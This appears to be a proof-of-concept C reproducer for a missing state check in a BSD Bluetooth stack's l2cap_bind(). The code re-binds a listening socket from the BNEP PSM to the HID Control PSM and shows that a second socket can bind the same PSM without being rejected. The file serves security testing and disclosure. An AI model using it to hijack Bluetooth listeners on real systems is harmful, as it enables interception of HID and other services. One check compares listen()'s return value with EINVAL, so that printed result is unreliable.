DF-5750 / bind_state.c
/* * DF-5750 -- l2cap_bind() has no channel-state check. * * sys/netbt/l2cap_upper.c:106-112 l2cap_bind() memcpy's the new local * address into the channel unconditionally: unlike l2cap_listen() * (which validates) and l2cap_connect() (l2cap_cid_alloc() rejects a * non-CLOSED channel), a channel that is already LISTENING on one PSM * can be re-bound in place to any other PSM/address, silently mutating * the routing key of a live listener on l2cap_listen_list (sorted at * l2cap_listen() time by the OLD psm, matched first-match at * l2cap_signal.c:266-273 with the NEW psm). NetBSD's rfcomm_bind() * equivalent gained a state check upstream (cf. DF-5747); l2cap_bind() * never did. * * Expected (vulnerable): * bind(psm=BNEP) = 0 * listen() = 0 * RE-bind(psm=HID_CONTROL) on the LISTENING socket = 0 <-- BUG * listen() again = EINVAL (lcid marker blocks, socket stays a * listener but now matches a different PSM) * Control: a second socket can bind the SAME psm the first one is * listening on (no duplicate-listener rejection). * * DF-5750 evidence: run as an unprivileged user on a system with * netbt loaded (kldload netbt). */ #include <sys/types.h> #include <sys/socket.h> #include <errno.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <netbt/bluetooth.h> static int mkaddr(struct sockaddr_bt *sa, uint16_t psm) { memset(sa, 0, sizeof(*sa)); sa->bt_len = sizeof(*sa); sa->bt_family = AF_BLUETOOTH; sa->bt_psm = psm; /* bt_bdaddr left ANY: matches any local controller */ return 0; } int main(void) { struct sockaddr_bt sa; int s, s2, r; s = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP); if (s < 0) { printf("socket: %s (is netbt loaded?)\n", strerror(errno)); return 1; } mkaddr(&sa, 0x000f); /* BNEP */ r = bind(s, (struct sockaddr *)&sa, sizeof(sa)); printf("bind(psm=BNEP) = %d (%s)\n", r, r ? strerror(errno) : "ok"); r = listen(s, 1); printf("listen() = %d (%s)\n", r, r ? strerror(errno) : "ok, channel now on l2cap_listen_list"); /* * The bug: re-bind the LISTENING channel to a different PSM. * Upstream semantics (and the l2cap_connect/l2cap_listen state * discipline) require EINVAL/EBUSY here. */ mkaddr(&sa, 0x0011); /* HID Control */ r = bind(s, (struct sockaddr *)&sa, sizeof(sa)); printf("RE-bind(psm=HID_CNTL) on the LISTENING socket = %d (%s)%s\n", r, r ? strerror(errno) : "ok", r == 0 ? " <-- DF-5750: state check missing" : ""); /* the channel is still a listener, now advertising the NEW psm */ r = listen(s, 1); printf("listen() again = %d (%s) [%s]\n", r, r ? strerror(errno) : "ok", r == EINVAL ? "still a listener -- with the mutated PSM" : "unexpected"); /* no duplicate-listener rejection either: */ s2 = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP); mkaddr(&sa, 0x0011); /* same PSM as the mutant */ r = bind(s2, (struct sockaddr *)&sa, sizeof(sa)); printf("bind(same psm on 2nd socket) = %d (%s)\n", r, r ? strerror(errno) : "ok (no duplicate-PSM rejection)"); r = listen(s2, 1); printf("listen() on 2nd socket = %d (%s)\n", r, r ? strerror(errno) : "ok"); close(s2); close(s); return 0; } |